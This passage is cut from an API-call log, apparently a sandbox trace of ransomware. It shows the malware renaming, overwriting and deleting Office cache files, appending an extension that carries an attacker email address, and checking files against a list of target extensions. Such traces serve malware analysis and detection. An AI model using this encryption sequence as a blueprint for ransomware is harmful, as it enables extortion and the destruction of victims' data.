Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.376] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0043.376] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0043.376] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.376] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.376] ReadFile (in: hFile=0x1e8, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.380] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.382] ReadFile (in: hFile=0x1e8, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.390] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x327fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.390] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.390] ReadFile (in: hFile=0x1e8, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.405] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.405] WriteFile (in: hFile=0x1e8, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x327fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0043.773] SetEndOfFile (hFile=0x1e8) returned 1 [0043.773] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f8cbd8 [0043.776] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.777] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.778] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.778] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.784] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.784] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.786] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f8cbd8 | out: hHeap=0x220000) returned 1 [0043.786] CloseHandle (hObject=0x1e8) returned 1 [0043.787] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0043.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.787] lstrlenW (lpString=".doc") returned 4 [0043.787] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.787] lstrlenW (lpString=".docx") returned 5 [0043.787] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.787] lstrlenW (lpString=".pdf") returned 4 [0043.787] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.787] lstrlenW (lpString=".xls") returned 4 [0043.787] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.787] lstrlenW (lpString=".xlsx") returned 5 [0043.787] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.787] lstrlenW (lpString=".ppt") returned 4 [0043.787] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.787] lstrlenW (lpString=".zip") returned 4 [0043.787] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.787] lstrlenW (lpString=".rar") returned 4 [0043.787] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.787] lstrlenW (lpString=".bz2") returned 4 [0043.787] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.787] lstrlenW (lpString=".7z") returned 3 [0043.787] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.787] lstrlenW (lpString=".dbf") returned 4 [0043.788] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.788] lstrlenW (lpString=".1cd") returned 4 [0043.788] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.788] lstrlenW (lpString=".jpg") returned 4 [0043.788] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.788] lstrlenW (lpString=".doc") returned 4 [0043.788] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.788] lstrlenW (lpString=".docx") returned 5 [0043.788] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.788] lstrlenW (lpString=".pdf") returned 4 [0043.788] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.788] lstrlenW (lpString=".xls") returned 4 [0043.788] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.788] lstrlenW (lpString=".xlsx") returned 5 [0043.788] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.788] lstrlenW (lpString=".ppt") returned 4 [0043.788] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.788] lstrlenW (lpString=".zip") returned 4 [0043.788] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.788] lstrlenW (lpString=".rar") returned 4 [0043.788] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.788] lstrlenW (lpString=".bz2") returned 4 [0043.788] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.788] lstrlenW (lpString=".7z") returned 3 [0043.788] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.789] lstrlenW (lpString=".dbf") returned 4 [0043.789] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.789] lstrlenW (lpString=".1cd") returned 4 [0043.789] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0043.789] lstrlenW (lpString=".jpg") returned 4 [0043.789] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.789] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0043.789] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0043.789] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0043.874] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=2511872) returned 1 [0043.874] CloseHandle (hObject=0x218) returned 1 [0043.874] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0043.874] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.874] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0043.874] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0043.875] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.875] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.875] ReadFile (in: hFile=0x218, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.879] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.879] ReadFile (in: hFile=0x218, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.888] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x327fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.888] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.888] ReadFile (in: hFile=0x218, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.903] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.903] WriteFile (in: hFile=0x218, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x327fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0044.293] SetEndOfFile (hFile=0x218) returned 1 [0044.293] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3eb3070 [0044.297] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.297] WriteFile (in: hFile=0x218, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.299] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.299] WriteFile (in: hFile=0x218, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.305] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.305] WriteFile (in: hFile=0x218, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.308] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3070 | out: hHeap=0x220000) returned 1 [0044.308] CloseHandle (hObject=0x218) returned 1 [0044.308] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0044.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.308] lstrlenW (lpString=".doc") returned 4 [0044.308] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.308] lstrlenW (lpString=".docx") returned 5 [0044.308] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.308] lstrlenW (lpString=".pdf") returned 4 [0044.308] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.308] lstrlenW (lpString=".xls") returned 4 [0044.308] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.309] lstrlenW (lpString=".xlsx") returned 5 [0044.309] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.309] lstrlenW (lpString=".ppt") returned 4 [0044.309] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.309] lstrlenW (lpString=".zip") returned 4 [0044.309] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.309] lstrlenW (lpString=".rar") returned 4 [0044.309] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.309] lstrlenW (lpString=".bz2") returned 4 [0044.309] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.309] lstrlenW (lpString=".7z") returned 3 [0044.309] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.309] lstrlenW (lpString=".dbf") returned 4 [0044.309] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.309] lstrlenW (lpString=".1cd") returned 4 [0044.309] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.309] lstrlenW (lpString=".jpg") returned 4 [0044.309] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.309] lstrlenW (lpString=".doc") returned 4 [0044.309] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.309] lstrlenW (lpString=".docx") returned 5 [0044.309] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.309] lstrlenW (lpString=".pdf") returned 4 [0044.309] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.309] lstrlenW (lpString=".xls") returned 4 [0044.309] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.309] lstrlenW (lpString=".xlsx") returned 5 [0044.310] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.310] lstrlenW (lpString=".ppt") returned 4 [0044.310] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.310] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.310] lstrlenW (lpString=".zip") returned 4 [0044.310] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.310] lstrlenW (lpString=".rar") returned 4 [0044.310] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.310] lstrlenW (lpString=".bz2") returned 4 [0044.310] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.310] lstrlenW (lpString=".7z") returned 3 [0044.310] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.310] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.310] lstrlenW (lpString=".dbf") returned 4 [0044.310] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.310] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.310] lstrlenW (lpString=".1cd") returned 4 [0044.310] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.310] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0044.310] lstrlenW (lpString=".jpg") returned 4 [0044.310] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.310] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0044.310] lstrlenW (lpString="dwintl20.dll") returned 12 [0044.310] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.311] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=107912) returned 1 [0044.311] CloseHandle (hObject=0x218) returned 1 [0044.311] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0044.311] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.311] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.311] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.311] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.311] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0044.881] GetLastError () returned 0x0 [0044.881] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x1a588, lpOverlapped=0x0) returned 1 [0044.895] WriteFile (in: hFile=0x200, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0x1a590, lpOverlapped=0x0) returned 1 [0044.897] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.897] WriteFile (in: hFile=0x200, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.897] SetEndOfFile (hFile=0x200) returned 1 [0044.897] CloseHandle (hObject=0x200) returned 1 [0044.897] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.897] SetEndOfFile (hFile=0x218) returned 1 [0044.899] CloseHandle (hObject=0x218) returned 1 [0044.899] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0044.899] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0044.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.899] lstrlenW (lpString=".doc") returned 4 [0044.899] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.899] lstrlenW (lpString=".docx") returned 5 [0044.899] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0044.899] lstrlenW (lpString=".pdf") returned 4 [0044.899] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.899] lstrlenW (lpString=".xls") returned 4 [0044.899] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.899] lstrlenW (lpString=".xlsx") returned 5 [0044.899] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0044.899] lstrlenW (lpString=".ppt") returned 4 [0044.899] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.900] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0044.900] lstrlenW (lpString=".zip") returned 4 [0044.900] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.900] lstrlenW (lpString=".rar") returned 4 [0044.900] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.900] lstrlenW (lpString=".bz2") returned 4 